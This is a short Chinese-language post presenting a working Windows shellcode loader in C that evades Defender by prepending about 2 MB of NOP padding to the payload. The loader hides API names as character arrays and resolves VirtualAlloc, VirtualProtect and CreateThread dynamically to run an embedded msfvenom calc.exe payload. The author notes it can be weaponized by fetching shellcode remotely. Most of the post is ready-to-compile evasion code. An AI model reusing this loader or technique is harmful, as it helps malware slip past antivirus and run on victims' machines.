[TOC]
2022年底国外技术人员发现的技巧,在内存中分配一个大的堆栈,defender就检测不了了。
测试用的是x64 metasploit 生成的 calc,原文中是硬编码栈内容,生成非常大。下面的代码时创建一个动态数组,将shellcode放到数组末尾,武器化可以远程拉取shellcode。
visual studio编译需要设置字符集为多字节、堆栈提交大小为200000,堆栈大小可以自己定义
修改后的完整代码:
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <random>
typedef LPVOID (WINAPI* VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI* VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI* CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sVirtualAlloc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0x0 };
unsigned char sCreateThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d',0x0, };
#define STACKSIZE 2000000
int main (VOID) {
//msfvenom calc payload
// msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -b '\x00\x0A\x0D' -f exe -o a.exe
unsigned char calcPayload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 };
size_t calcPayload_len = sizeof (calcPayload);
unsigned char* finalPayload;
int finalPayloadLen = calcPayload_len + STACKSIZE;
finalPayload = (unsigned char*)malloc ((finalPayloadLen) * sizeof (char));
if( finalPayload == NULL )
{
return -1;
}
memset (finalPayload, '\x90', finalPayloadLen);
for( size_t i = STACKSIZE; i < finalPayloadLen; i++ )
{
*(finalPayload + i) = *(calcPayload + i - STACKSIZE);
}
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
//function pointers
VirtualAlloc_t VirtualAlloc_p = (VirtualAlloc_t)GetProcAddress
(
GetModuleHandle ((LPCSTR)"KErnEl32.DLl"),
(LPCSTR)sVirtualAlloc
);
VirtualProtect_t VirtualProtect_p = (VirtualProtect_t)GetProcAddress
(
GetModuleHandle ((LPCSTR)"kErnEl32.DLl"),
(LPCSTR)sVirtualProtect
);
CreateThread_t CreateThread_p = (CreateThread_t)GetProcAddress
(GetModuleHandle ((LPCSTR)"kERnEl32.DLl"),
(LPCSTR)sCreateThread
);
printf("payload length: %d\n", finalPayloadLen);
// Allocate a memory buffer for payload
exec_mem = VirtualAlloc_p (NULL, finalPayloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if( exec_mem == 0 ) {
printf("%d\n", GetLastError());
}
// Copy payload to program memory ; this gets inlined
RtlMoveMemory (exec_mem, finalPayload, finalPayloadLen);
// Make payload executable
rv = VirtualProtect_p (exec_mem, finalPayloadLen, PAGE_EXECUTE_READ, &oldprotect);
// Run payload
if( rv != 0 ) {
th = CreateThread_p (0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject (th, INFINITE);
free (finalPayload);
}
return 0;
}